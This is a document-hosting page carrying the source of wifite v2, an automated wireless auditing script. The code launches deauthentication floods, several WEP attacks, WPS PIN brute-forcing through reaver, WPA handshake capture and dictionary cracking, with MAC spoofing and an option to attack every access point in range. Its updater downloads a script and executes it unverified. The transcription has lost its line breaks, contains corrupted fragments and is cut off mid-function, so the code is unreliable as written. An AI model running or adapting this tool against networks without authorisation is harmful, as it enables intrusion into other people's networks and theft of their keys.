wifite py

Download Wifite PY

If you can't read please download the document

Upload: joao-jose-santos-neto

Post on 03-Dec-2015

216 views

Category:

Documents


0 download

DESCRIPTION

tutorial

TRANSCRIPT

#!/usr/bin/python

# -*- coding: utf-8 -*-

"""wifiteauthor: derv82 at gmailLicensed under the GNU General Public License Version 2 (GNU GPL v2), available at:http://www.gnu.org/licenses/gpl-2.0.txt(C) 2011 Derv Merkler

-----------------

TODO:ignore root check when -cracked (afterward) (need root for -check?)"cracked*" in list of AP'sRestore same command-line switch names from v1If device already in monitor mode, check for and, if applicable, use macchanger WPS * Mention reaver automatically resumes sessions * Warning about length of time required for WPS attack (*hours*) * Show time since last successful attempt * Percentage of tries/attempts ? * Update code to work with reaver 1.4 ("x" sec/att)

WEP: * ability to pause/skip/continue(done, not tested) * Option to capture only IVS packets (uses --output-format ivs,csv)- not compatible on older aircrack-ng's.- Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works - would cut down on size of saved .caps reaver: MONITOR ACTIVITY! - Enter ESSID when executing (?)- Ensure WPS key attempts have begun. - If no attempts can be made, stop attack- During attack, if no attempts are made within X minutes, stop attack & Print- Reaver's output when unable to associate:[!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)- If failed to associate for x minutes, stop attack (same as no attempts?)MIGHTDO:* WPA - crack (pyrit/cowpatty) (not really important)* Test injection at startup? (skippable via command-line switch) """

############## LIBRARIES ##############

import os# File managementimport time# Measuring attack intervalsimport random # Generating a random MAC address.import errno# Error numbers

from sys import argv# Command-line argumentsfrom sys import stdout, stdin # Flushing

from shutil import copy # Copying .cap files

# Executing, communicating with, killing processesfrom subprocess import Popen, call, PIPEfrom signal import SIGINT, SIGTERM

import re # RegEx, Converting SSID to filename

import urllib # Check for new versions from the repo

################################# GLOBAL VARIABLES IN ALL CAPS #################################

REVISION = 85;

# WPA variablesWPA_DISABLE= False # Flag to skip WPA handshake captureWPA_STRIP_HANDSHAKE= True# Use pyrit or tshark (if applicable) to strip handshakeWPA_DEAUTH_TIMEOUT= 10# Time to wait between deauthentication bursts (in seconds)WPA_ATTACK_TIMEOUT= 500# Total time to allow for a handshake attack (in seconds)WPA_HANDSHAKE_DIR= 'hs'# Directory in which handshakes .cap files are stored# Strip file path separator if neededif WPA_HANDSHAKE_DIR != '' and WPA_HANDSHAKE_DIR[-1] == os.sep: WPA_HANDSHAKE_DIR = WPA_HANDSHAKE_DIR[:-1]

WPA_FINDINGS= []# List of strings containing info on successful WPA attacksWPA_DONT_CRACK= False # Flag to skip cracking of handshakesWPA_DICTIONARY= '/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'if not os.path.exists(WPA_DICTIONARY): WPA_DICTIONARY = ''

# Various programs to use when checking for a four-way handshake.# True means the program must find a valid handshake in order for wifite to recognize a handshake.# Not finding handshake short circuits result (ALL 'True' programs must find handshake)WPA_HANDSHAKE_TSHARK= True# Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)WPA_HANDSHAKE_PYRIT= False # Sometimes crashes on incomplete dumps, but accurate.WPA_HANDSHAKE_AIRCRACK = True# Not 100% accurate, but fast.WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2)

# WEP variablesWEP_DISABLE= False # Flag for ignoring WEP networksWEP_PPS= 600# packets per second (Tx rate)WEP_TIMEOUT= 600# Amount of time to give each attackWEP_ARP_REPLAY= True# Various WEP-based attacks via aireplay-ngWEP_CHOPCHOP= True#WEP_FRAGMENT= True#WEP_CAFFELATTE= True#WEP_P0841= TrueWEP_HIRTE= TrueWEP_CRACK_AT_IVS= 10000 # Number of IVS at which we start crackingWEP_IGNORE_FAKEAUTH = True# When True, continues attack despite fake authentication failureWEP_FINDINGS= []# List of strings containing info on successful WEP attacks.WEP_SAVE= False # Save packets.

# WPS variablesWPS_DISABLE= False # Flag to skip WPS scan and attacksWPS_FINDINGS= []# List of (successful) results of WPS attacksWPS_TIMEOUT= 660# Time to wait (in seconds) for successful PIN attemptWPS_RATIO_THRESHOLD = 0.01# Lowest percentage of tries/attempts allowed (where tries > 0)WPS_MAX_RETRIES= 0# Number of times to re-try the same pin before giving up completely.

# Program variablesWIRELESS_IFACE= ''# User-defined interfaceTARGET_CHANNEL= 0# User-defined channel to scan onTARGET_ESSID= ''# User-defined ESSID of specific target to attackTARGET_BSSID= ''# User-defined BSSID of specific target to attackIFACE_TO_TAKE_DOWN = ''# Interface that wifite puts into monitor mode# It's our job to put it out of monitor mode after the attacksORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)DO_NOT_CHANGE_MAC= True# Flag for disabling MAC anonymizerTARGETS_REMAINING= 0# Number of access points remaining to attackWPA_CAPS_TO_CRACK= []# list of .cap files to crack (full of CapFile objects)THIS_MAC= ''# The interfaces current MAC address.SHOW_MAC_IN_SCAN= False # Display MACs of the SSIDs in the list of targetsCRACKED_TARGETS= []# List of targets we have already crackedATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*ATTACK_MIN_POWER= 0# Minimum power (dB) for access point to be considered a targetVERBOSE_APS= True# Print access points as they appear

# Console colorsW= '\033[0m'# white (normal)R= '\033[31m' # redG= '\033[32m' # greenO= '\033[33m' # orangeB= '\033[34m' # blueP= '\033[35m' # purpleC= '\033[36m' # cyanGR = '\033[37m' # gray

if os.getuid() != 0:print R+' [!]'+O+' ERROR:'+G+' wifite'+O+' must be run as '+R+'root'+Wprint R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo ./wifite.py'+Wexit(1)

if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?print O+' [!]'+R+' WARNING:'+G+' wifite'+W+' must be run on '+O+'linux'+Wexit(1)

# Create temporary directory to work infrom tempfile import mkdtemptemp = mkdtemp(prefix='wifite')if not temp.endswith(os.sep):temp += os.sep

# /dev/null, send output from programs so they don't print to screen.DN = open(os.devnull, 'w')

#################### DATA STRUCTURES ####################

class CapFile:"""Holds data about an access point's .cap file, including AP's ESSID & BSSID."""def __init__(self, filename, ssid, bssid):self.filename = filenameself.ssid = ssidself.bssid = bssid

class Target:"""Holds data for a Target (aka Access Point aka Router)"""def __init__(self, bssid, power, data, channel, encryption, ssid):self.bssid = bssidself.power = powerself.data= dataself.channel = channelself.encryption = encryptionself.ssid = ssidself.wps = False # Default to non-WPS-enabled router.self.key = ''

class Client:"""Holds data for a Client (device connected to Access Point/Router)"""def __init__(self, bssid, station, power):self.bssid= bssidself.station = stationself.power= power

################### MAIN FUNCTIONS ###################

def main():"""Where the magic happens."""global TARGETS_REMAINING, THIS_MAC, CRACKED_TARGETSCRACKED_TARGETS = load_cracked() # Load previously-cracked APs from file

handle_args() # Parse args from command line, set global variables.initial_check() # Ensure required programs are installed.# The "get_iface" method anonymizes the MAC address (if needed)# and puts the interface into monitor mode.iface = get_iface()THIS_MAC = get_mac_address(iface) # Store current MAC address(targets, clients) = scan(iface=iface, channel=TARGET_CHANNEL)try:index = 0while index < len(targets):target = targets[index]# Check if we have already cracked this targetfor already in CRACKED_TARGETS:if already.bssid == targets[index].bssid:print R+'\n [!]'+O+' you have already cracked this access point\'s key!'+Wprint R+' [!] %s' % (C+already.ssid+W+': "'+G+already.key+W+'"')ri = raw_input(GR+' [+] '+W+'do you want to crack this access point again? ('+G+'y/'+O+'n'+W+'): ')if ri.lower() == 'n':targets.pop(index)index -= 1break

# Check if handshakes already exist, ask user whether to skip targets or save new handshakeshandshake_file = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \+ '_' + target.bssid.replace(':', '-') + '.cap'if os.path.exists(handshake_file):print R+'\n [!] '+O+'you already have a handshake file for %s:' % (C+target.ssid+W)print '%s\n' % (G+handshake_file+W)print GR+' [+]'+W+' do you want to '+G+'[s]kip'+W+', '+O+'[c]apture again'+W+', or '+R+'[o]verwrite'+W+'?'ri = 'x'while ri != 's' and ri != 'c' and ri != 'o': ri = raw_input(GR+' [+] '+W+'enter '+G+'s'+W+', '+O+'c,'+W+' or '+R+'o'+W+': '+G).lower()print W+"\b",if ri == 's': targets.pop(index)index -= 1elif ri == 'o': remove_file(handshake_file)continueindex += 1

except KeyboardInterrupt:print '\n '+R+'(^C)'+O+' interrupted\n'exit_gracefully(0)wpa_success = 0wep_success = 0wpa_total= 0wep_total= 0TARGETS_REMAINING = len(targets)for t in targets:TARGETS_REMAINING -= 1# Build list of clients connected to targetts_clients = []for c in clients:if c.station == t.bssid:ts_clients.append(c)print ''if t.encryption.find('WPA') != -1:need_handshake = Trueif not WPS_DISABLE and t.wps:need_handshake = not wps_attack(iface, t)wpa_total += 1if not need_handshake: wpa_success += 1if TARGETS_REMAINING < 0: breakif not WPA_DISABLE and need_handshake:wpa_total += 1if wpa_get_handshake(iface, t, ts_clients):wpa_success += 1elif t.encryption.find('WEP') != -1:wep_total += 1if attack_wep(iface, t, ts_clients):wep_success += 1else: print R+' unknown encryption:',t.encryption,W# If user wants to stop attackingif TARGETS_REMAINING 0:# Attacks are done! Show results to userprint ''print GR+' [+] %s%d attack%s completed:%s' % (G, wpa_total + wep_total, '' if wpa_total+wep_total == 1 else 's', W)print ''if wpa_total > 0:if wpa_success == 0:print GR+' [+]'+R,elif wpa_success == wpa_total: print GR+' [+]'+G,else:print GR+' [+]'+O,print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)for finding in WPA_FINDINGS:print '' + C+finding+Wif wep_total > 0:if wep_success == 0:print GR+' [+]'+R,elif wep_success == wep_total: print GR+' [+]'+G,else:print GR+' [+]'+O,print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)for finding in WEP_FINDINGS:print '' + C+finding+Wcaps = len(WPA_CAPS_TO_CRACK)if caps > 0 and not WPA_DONT_CRACK:print GR+' [+]'+W+' starting '+G+'WPA cracker'+W+' on %s%d handshake%s' % (G, caps, W if caps == 1 else 's'+W)for cap in WPA_CAPS_TO_CRACK:wpa_crack(cap)print ''exit_gracefully(0)

def rename(old, new):"""Renames file 'old' to 'new', works with separate partitions.Thanks to hannan.sadar"""try:os.rename(old, new)except os.error, detail:if detail.errno == errno.EXDEV:try:copy(old, new)except:os.unlink(new)raiseos.unlink(old)# if desired, deal with other errorselse:raise

def initial_check():"""Ensures required programs are installed."""global WPS_DISABLEairs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']for air in airs:if program_exists(air): continueprint R+' [!]'+O+' required program not found: %s' % (R+air+W)print R+' [!]'+O+' this program is bundled with the aircrack-ng suite:'+Wprint R+' [!]'+O+''+C+'http://www.aircrack-ng.org/'+Wprint R+' [!]'+O+' or: '+W+'sudo apt-get install aircrack-ng\n'+Wexit_gracefully(1)if not program_exists('iw'):print R+' [!]'+O+' airmon-ng requires the program %s\n' % (R+'iw'+W)exit_gracefully(1)printed = False# Check reaverif not program_exists('reaver'):printed = Trueprint R+' [!]'+O+' the program '+R+'reaver'+O+' is required for WPS attacks'+Wprint R+''+O+'available at '+C+'http://code.google.com/p/reaver-wps'+WWPS_DISABLE = Trueelif not program_exists('walsh') and not program_exists('wash'):printed = Trueprint R+' [!]'+O+' reaver\'s scanning tool '+R+'walsh'+O+' (or '+R+'wash'+O+') was not found'+Wprint R+' [!]'+O+' please re-install reaver or install walsh/wash separately'+W

# Check handshake-checking appsrecs = ['tshark', 'pyrit', 'cowpatty']for rec in recs:if program_exists(rec): continueprinted = Trueprint R+' [!]'+O+' the program %s is not required, but is recommended%s' % (R+rec+O, W)if printed: print ''

def handle_args():"""Handles command-line arguments, sets global variables."""global WIRELESS_IFACE, TARGET_CHANNEL, DO_NOT_CHANGE_MAC, TARGET_ESSID, TARGET_BSSIDglobal WPA_DISABLE, WPA_STRIP_HANDSHAKE, WPA_DEAUTH_TIMEOUT, WPA_ATTACK_TIMEOUTglobal WPA_DONT_CRACK, WPA_DICTIONARY, WPA_HANDSHAKE_TSHARK, WPA_HANDSHAKE_PYRITglobal WPA_HANDSHAKE_AIRCRACK, WPA_HANDSHAKE_COWPATTYglobal WEP_DISABLE, WEP_PPS, WEP_TIMEOUT, WEP_ARP_REPLAY, WEP_CHOPCHOP, WEP_FRAGMENTglobal WEP_CAFFELATTE, WEP_P0841, WEP_HIRTE, WEP_CRACK_AT_IVS, WEP_IGNORE_FAKEAUTHglobal WEP_SAVE, SHOW_MAC_IN_SCAN, ATTACK_ALL_TARGETS, ATTACK_MIN_POWERglobal WPS_DISABLE, WPS_TIMEOUT, WPS_RATIO_THRESHOLD, WPS_MAX_RETRIESglobal VERBOSE_APS

args = argv[1:]if args.count('-h') + args.count('--help') + args.count('?') + args.count('-help') > 0:help()exit_gracefully(0)set_encrypt = Falseset_hscheck = Falseset_wep= Falsecapfile= ''# Filename of .cap file to analyze for handshakestry:for i in xrange(0, len(args)):

if not set_encrypt and (args[i] == '-wpa' or args[i] == '-wep' or args[i] == '-wps'):WPS_DISABLE = TrueWPA_DISABLE = TrueWEP_DISABLE = Trueset_encrypt = Trueifargs[i] == '-wpa': print GR+' [+]'+W+' targeting '+G+'WPA'+W+' encrypted networks (use '+G+'-wps'+W+' for WPS scan)'WPA_DISABLE = Falseelif args[i] == '-wep': print GR+' [+]'+W+' targeting '+G+'WEP'+W+' encrypted networks'WEP_DISABLE = Falseelif args[i] == '-wps': print GR+' [+]'+W+' targeting '+G+'WPS-enabled'+W+' networks'WPS_DISABLE = Falseelif args[i] == '-c':i += 1try: TARGET_CHANNEL = int(args[i])except ValueError: print O+' [!]'+R+' invalid channel: '+O+args[i]+Wexcept IndexError: print O+' [!]'+R+' no channel given!'+Welse: print GR+' [+]'+W+' channel set to %s' % (G+args[i]+W)elif args[i] == '-mac':print GR+' [+]'+W+' mac address anonymizing '+G+'enabled'+Wprint O+'note: only works if device is not already in monitor mode!'+WDO_NOT_CHANGE_MAC = Falseelif args[i] == '-i':i += 1WIRELESS_IFACE = args[i]print GR+' [+]'+W+' set interface: %s' % (G+args[i]+W)elif args[i] == '-e':i += 1try: TARGET_ESSID = args[i]except ValueError: print R+' [!]'+O+' no ESSID given!'+Welse: print GR+' [+]'+W+' targeting ESSID "%s"' % (G+args[i]+W)elif args[i] == '-b':i += 1try: TARGET_BSSID = args[i]except ValueError: print R+' [!]'+O+' no BSSID given!'+Welse: print GR+' [+]'+W+' targeting BSSID "%s"' % (G+args[i]+W)elif args[i] == '-showb' or args[i] == '-showbssid':SHOW_MAC_IN_SCAN = Trueprint GR+' [+]'+W+' target MAC address viewing '+G+'enabled'+Welif args[i] == '-all' or args[i] == '-hax0ritna0':print GR+' [+]'+W+' targeting '+G+'all access points'+WATTACK_ALL_TARGETS = Trueelif args[i] == '-pow' or args[i] == '-power':i += 1try:ATTACK_MIN_POWER = int(args[i])except ValueError: print R+' [!]'+O+' invalid power level: %s' % (R+args[i]+W)except IndexError: print R+' [!]'+O+' no power level given!'+Welse: print GR+' [+]'+W+' minimum target power set to %s' % (G+args[i] + "dB"+W)elif args[i] == '-q' or args[i] == '-quiet':VERBOSE_APS = Falseprint GR+' [+]'+W+' list of APs during scan '+O+'disabled'+W

elif args[i] == '-check':i += 1try: capfile = args[i]except IndexError:print R+' [!]'+O+' unable to analyze capture file'+W print R+' [!]'+O+' no cap file given!\n'+Wexit_gracefully(1)else: if not os.path.exists(capfile): print R+' [!]'+O+' unable to analyze capture file!'+Wprint R+' [!]'+O+' file not found: '+R+capfile+'\n'+Wexit_gracefully(1)elif args[i] == '-upgrade' or args[i] == '-update':upgrade()exit(0)elif args[i] == '-cracked':if len(CRACKED_TARGETS) == 0:print R+' [!]'+O+' there are not cracked access points saved to '+R+'cracked.txt\n'+Wexit_gracefully(1)print GR+' [+]'+W+' '+W+'previously cracked access points'+W+':'for victim in CRACKED_TARGETS:print '%s (%s) : "%s"' % (C+victim.ssid+W, C+victim.bssid+W, G+victim.key+W)print ''exit_gracefully(0)

# WPAif not set_hscheck and (args[i] == '-tshark' or args[i] == '-cowpatty' or args[i] == '-aircrack' or args[i] == 'pyrit'):WPA_HANDSHAKE_TSHARK= FalseWPA_HANDSHAKE_PYRIT= FalseWPA_HANDSHAKE_COWPATTY = FalseWPA_HANDSHAKE_AIRCRACK = Falseset_hscheck = Trueelif args[i] == '-strip':WPA_STRIP_HANDSHAKE = Trueprint GR+' [+]'+W+' handshake stripping '+G+'enabled'+Welif args[i] == '-wpadt':i += 1WPA_DEAUTH_TIMEOUT = int(args[i])print GR+' [+]'+W+' WPA deauth timeout set to %s' % (G+args[i]+' seconds'+W)elif args[i] == '-wpat':i += 1WPA_ATTACK_TIMEOUT = int(args[i])print GR+' [+]'+W+' WPA attack timeout set to %s' % (G+args[i]+' seconds'+W)elif args[i] == '-crack':WPA_DONT_CRACK = Falseprint GR+' [+]'+W+' WPA cracking '+G+'enabled'+Welif args[i] == '-dict':i += 1try:WPA_DICTIONARY = args[i]except IndexError: print R+' [!]'+O+' no WPA dictionary given!'else:if os.path.exists(args[i]):print GR+' [+]'+W+' WPA dictionary set to %s' % (G+args[i]+W)else:print R+' [!]'+O+' WPA dictionary file not found: %s' % (args[i])if args[i] == '-tshark':WPA_HANDSHAKE_TSHARK = Trueprint GR+' [+]'+W+' tshark handshake verification '+G+'enabled'+Wif args[i] == '-pyrit':WPA_HANDSHAKE_PYRIT = Trueprint GR+' [+]'+W+' pyrit handshake verification '+G+'enabled'+Wif args[i] == '-aircrack':WPA_HANDSHAKE_AIRCRACK = Trueprint GR+' [+]'+W+' aircrack handshake verification '+G+'enabled'+Wif args[i] == '-cowpatty':WPA_HANDSHAKE_COWPATTY = Trueprint GR+' [+]'+W+' cowpatty handshake verification '+G+'enabled'+W

# WEPif not set_wep and args[i] == '-chopchop' or args[i] == 'fragment' or \args[i] == 'caffelatte' or args[i] == '-arpreplay' or \args[i] == '-p0841' or args[i] == '-hirte':WEP_CHOPCHOP= FalseWEP_ARPREPLAY= FalseWEP_CAFFELATTE = FalseWEP_FRAGMENT= FalseWEP_P0841= FalseWEP_HIRTE= Falseif args[i] == '-chopchop': print GR+' [+]'+W+' WEP chop-chop attack '+G+'enabled'+WWEP_CHOPCHOP = Trueif args[i] == '-fragment' or args[i] == '-frag' or args[i] == '-fragmentation':print GR+' [+]'+W+' WEP fragmentation attack '+G+'enabled'+WWEP_FRAGMENT = Trueif args[i] == '-caffelatte': print GR+' [+]'+W+' WEP caffe-latte attack '+G+'enabled'+WWEP_CAFFELATTE = Trueif args[i] == '-arpreplay': print GR+' [+]'+W+' WEP arp-replay attack '+G+'enabled'+WWEP_ARPREPLAY = Trueif args[i] == '-p0841': print GR+' [+]'+W+' WEP p0841 attack '+G+'enabled'+WWEP_P0841 = Trueif args[i] == '-hirte': print GR+' [+]'+W+' WEP hirte attack '+G+'enabled'+WWEP_HIRTE = Trueif args[i] == '-nofake': print GR+' [+]'+W+' ignoring failed fake-authentication '+R+'disabled'+WWEP_IGNORE_FAKEAUTH = Falseif args[i] == '-wept' or args[i] == '-weptime':i += 1try:WEP_TIMEOUT = int(args[i])except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+args[i]+W)except IndexError: print R+' [!]'+O+' no timeout given!'+Welse: print GR+' [+]'+W+' WEP attack timeout set to %s' % (G+args[i] + " seconds"+W)if args[i] == '-pps':i += 1try:WEP_PPS = int(args[i])except ValueError: print R+' [!]'+O+' invalid value: %s' % (R+args[i]+W)except IndexError: print R+' [!]'+O+' no value given!'+Welse: print GR+' [+]'+W+' packets-per-second rate set to %s' % (G+args[i] + " packets/sec"+W)if args[i] == '-save' or args[i] == '-wepsave':WEP_SAVE = Trueprint GR+' [+]'+W+' WEP .cap file saving '+G+'enabled'+W

# WPSif args[i] == '-wpst' or args[i] == '-wpstime':i += 1try:WPS_TIMEOUT = int(args[i])except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+args[i]+W)except IndexError: print R+' [!]'+O+' no timeout given!'+Welse: print GR+' [+]'+W+' WPS attack timeout set to %s' % (G+args[i] + " seconds"+W)if args[i] == '-wpsratio' or args[i] == 'wpsr':i += 1try:WPS_RATIO_THRESHOLD = float(args[i])except ValueError: print R+' [!]'+O+' invalid percentage: %s' % (R+args[i]+W)except IndexError: print R+' [!]'+O+' no ratio given!'+Welse: print GR+' [+]'+W+' minimum WPS tries/attempts threshold set to %s' % (G+args[i] + ""+W)if args[i] == '-wpsmaxr' or args[i] == '-wpsretry':i += 1try:WPS_MAX_RETRIES = int(args[i])except ValueError: print R+' [!]'+O+' invalid number: %s' % (R+args[i]+W)except IndexError: print R+' [!]'+O+' no number given!'+Welse: print GR+' [+]'+W+' WPS maximum retries set to %s' % (G+args[i] + " retries"+W)except IndexError:print '\nindexerror\n\n'if capfile != '':analyze_capfile(capfile)print ''

def banner():""" Displays ASCII art of the highest caliber."""global REVISIONprint ''print G+".;'`;,"print G+" .;',;'`;,`;,"+W+"WiFite v2 (r" + str(REVISION) + ")"print G+".;',;',;'`;,`;,`;,"print G+":::::"+GR+"( )"+G+":::::"+GR+"automated wireless auditor"print G+"':.':.':. "+GR+"/_\\"+G+" ,:',:',:'"print G+" ':.':."+GR+"/___\\"+G+",:',:'"+GR+"designed for Linux"print G+"':."+GR+"/_____\\"+G+",:'"print G+""+GR+"/\\"+G+""print W

def upgrade():"""Checks for new version, prompts to upgrade, thenreplaces this script with the latest from the repo"""global REVISIONtry:print GR+' [!]'+W+' upgrading requires an '+G+'internet connection'+Wprint GR+' [+]'+W+' checking for latest version...'(revision, description, date_changed) = get_revision()if revision == -1:print R+' [!]'+O+' unable to access googlecode'+Welif revision > REVISION:print GR+' [!]'+W+' a new version is '+G+'available!'+Wprint GR+' [-]'+W+'revision:'+G+str(revision)+Wprint GR+' [-]'+W+'description: '+G+description+Wprint GR+' [-]'+W+'date added:'+G+date_changed+Wresponse = raw_input(GR+' [+]'+W+' do you want to upgrade to the latest version? (y/n): ')if not response.lower().startswith('y'):print GR+' [-]'+W+' upgrading '+O+'aborted'+Wexit_gracefully(0)return# Download script, replace with this oneprint GR+' [+] '+G+'downloading'+W+' update...'try:sock = urllib.urlopen('http://wifite.googlecode.com/svn/trunk/wifite.py')page = sock.read()except IOError:page = ''if page == '':print R+' [+] '+O+'unable to download latest version'+Wexit_gracefully(1)# Create/save the new scriptf=open('wifite_new.py','w')f.write(page)f.close()# The filename of the running scriptthis_file = __file__if this_file.startswith('./'):this_file = this_file[2:]# create/save a shell script that replaces this script with the new onef = open('update_wifite.sh','w')f.write('''#!/bin/sh\nrm -rf ''' + this_file + '''\nmv wifite_new.py ''' + this_file + '''\nrm -rf update_wifite.sh\nchmod +x ''' + this_file + '''\n''')f.close()# Change permissions on the scriptreturncode = call(['chmod','+x','update_wifite.sh'])if returncode != 0:print R+' [!]'+O+' permission change returned unexpected code: '+str(returncode)+Wexit_gracefully(1)# Run the scriptreturncode = call(['sh','update_wifite.sh'])if returncode != 0:print R+' [!]'+O+' upgrade script returned unexpected code: '+str(returncode)+Wexit_gracefully(1)print GR+' [+] '+G+'updated!'+W+' type "./' + this_file + '" to run again'else:print GR+' [-]'+W+' your copy of wifite is '+G+'up to date'+Wexcept KeyboardInterrupt:print R+'\n (^C)'+O+' wifite upgrade interrupted'+Wexit_gracefully(0)

def get_revision():"""Gets latest revision # from google code repositoryReturns tuple: revision#, description of change, date changed"""irev=-1desc =''since=''try:sock = urllib.urlopen('http://code.google.com/p/wifite/source/list?path=/trunk/wifite.py')page = sock.read()except IOError:return (-1, '', '')# get the revisionstart= page.find('href="detail?r=')stop = page.find('&', start)if start != -1 and stop != -1:start += 15rev=page[start:stop]try:irev=int(rev)except ValueError:rev=rev.split('\n')[0]print R+'[+] invalid revision number: "'+rev+'"'# get the descriptionstart= page.find(' href="detail?r='+str(irev)+'', start + 3)start= page.find('">',start)stop = page.find('', start)if start != -1 and stop != -1:start += 2desc=page[start:stop].strip()desc=desc.replace("'","'")desc=desc.replace(" 1:print GR+" [+]"+W+" interfaces in "+G+"monitor mode:"+Wfor i, monitor in enumerate(monitors):print "%s. %s" % (G+str(i+1)+W, G+monitor+W)ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \(GR,W,G,W,G, len(monitors), W, G))while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \(GR,W,G, len(monitors), W, G))i = int(ri)return monitors[i - 1]proc= Popen(['airmon-ng'], stdout=PIPE, stderr=DN)for line in proc.communicate()[0].split('\n'):if len(line) == 0 or line.startswith('Interface'): continue#monitors.append(line[:line.find('\t')])monitors.append(line)if len(monitors) == 0:print R+' [!]'+O+" no wireless interfaces were found."+Wprint R+' [!]'+O+" you need to plug in a wifi device or install drivers.\n"+Wexit_gracefully(0)elif WIRELESS_IFACE != '' and monitors.count(WIRELESS_IFACE) > 0:mac_anonymize(monitor)return enable_monitor-mode

elif len(monitors) == 1:monitor = monitors[0][:monitors[0].find('\t')]mac_anonymize(monitor)return enable_monitor_mode(monitor)print GR+" [+]"+W+" available wireless devices:"for i, monitor in enumerate(monitors):print "%s%d%s. %s" % (G, i + 1, W, monitor)ri = raw_input(GR+" [+]"+W+" select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))i = int(ri)monitor = monitors[i-1][:monitors[i-1].find('\t')]mac_anonymize(monitor)return enable_monitor_mode(monitor)

####################### SCANNING FUNCTIONS #######################

def scan(channel=0, iface='', tried_rtl8187_fix=False):"""Scans for access points. Asks user to select target(s)."channel" - the channel to scan on, 0 scans all channels."iface"- the interface to scan on. must be a real interface."tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"Returns list of selected targets and list of clients."""remove_airodump_files(temp + 'wifite')command = ['airodump-ng', '-a', # only show associated clients'-w', temp + 'wifite'] # output fileif channel != 0:command.append('-c')command.append(str(channel))command.append(iface)proc = Popen(command, stdout=DN, stderr=DN)time_started = time.time()print GR+' [+] '+G+'initializing scan'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.'(targets, clients) = ([], [])try:deauth_sent = 0.0old_targets = []stop_scanning = Falsewhile True:time.sleep(0.3)if not os.path.exists(temp + 'wifite-01.csv') and time.time() - time_started > 1.0:print R+'\n [!] ERROR!'+W# RTL8187 Unknown Error 132 FIXif proc.poll() != None: # Check if process has finishedproc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:if rtl8187_fix(iface):return scan(channel=channel, iface=iface, tried_rtl8187_fix=True)print R+' [!]'+O+' wifite is unable to generate airodump-ng output files'+Wprint R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+Wexit_gracefully(1)(targets, clients) = parse_csv(temp + 'wifite-01.csv')# If we are targeting a specific ESSID/BSSID, skip the scan once we find it.if TARGET_ESSID != '':for t in targets:if t.ssid.lower() == TARGET_ESSID.lower():send_interrupt(proc)try: os.kill(proc.pid, SIGTERM)except OSError: passexcept UnboundLocalError: passtargets = [t]stop_scanning = Truebreakif TARGET_BSSID != '':for t in targets:if t.bssid.lower() == TARGET_BSSID.lower():send_interrupt(proc)try: os.kill(proc.pid, SIGTERM)except OSError: passexcept UnboundLocalError: passtargets = [t]stop_scanning = Truebreak# If user has chosen to target all access points, wait 20 seconds, then return allif ATTACK_ALL_TARGETS and time.time() - time_started > 10:print GR+'\n [+]'+W+' auto-targeted %s%d%s access point%s' % (G, len(targets), W, '' if len(targets) == 1 else 's')stop_scanning = Trueif ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:# Remove targets with power < thresholdi = 0before_count = len(targets)while i < len(targets):if targets[i].power < ATTACK_MIN_POWER:targets.pop(i)else: i += 1print GR+'\n [+]'+W+' removed %s targets with power < %ddB, %s remain' % \(G+str(before_count - len(targets))+W, ATTACK_MIN_POWER, G+str(len(targets))+W)stop_scanning = Trueif stop_scanning: break# If there are unknown SSIDs, send deauths to them.if channel != 0 and time.time() - deauth_sent > 5:deauth_sent = time.time()for t in targets:if t.ssid == '':print "\r %s deauthing hidden access point (%s)\r" % \(GR+sec_to_hms(time.time() - time_started)+W, G+t.bssid+W),stdout.flush()# Time to deauthcmd = ['aireplay-ng','--deauth', '1','-a', t.bssid]for c in clients:if c.station == t.bssid:cmd.append('-c')cmd.append(c.bssid)breakcmd.append(iface)proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)proc_aireplay.wait()time.sleep(0.5)else:for ot in old_targets:if ot.ssid == '' and ot.bssid == t.bssid:print '\r %s successfully decloaked "%s"' % \(GR+sec_to_hms(time.time() - time_started)+W, G+t.ssid+W)old_targets = targets[:]if VERBOSE_APS and len(targets) > 0:targets = sorted(targets, key=lambda t: t.power, reverse=True)if not WPS_DISABLE:wps_check_targets(targets, temp + 'wifite-01.cap', verbose=False)os.system('clear')print GR+'\n [+] '+G+'scanning'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.\n'print "NUM ESSID%sCHENCRPOWERWPS?CLIENT" % ('BSSID' if SHOW_MAC_IN_SCAN else '')print '--- --------------------%s---------------------' % ('-----------------' if SHOW_MAC_IN_SCAN else '')for i, target in enumerate(targets):print "%s%2d%s " % (G, i + 1, W),# SSIDif target.ssid == '':p = O+'('+target.bssid+')'+GR+' '+Wprint '%s' % p.ljust(20),elif ( target.ssid.count('\x00') == len(target.ssid) ):p = ''print '%s' % C+p.ljust(20)+W,elif 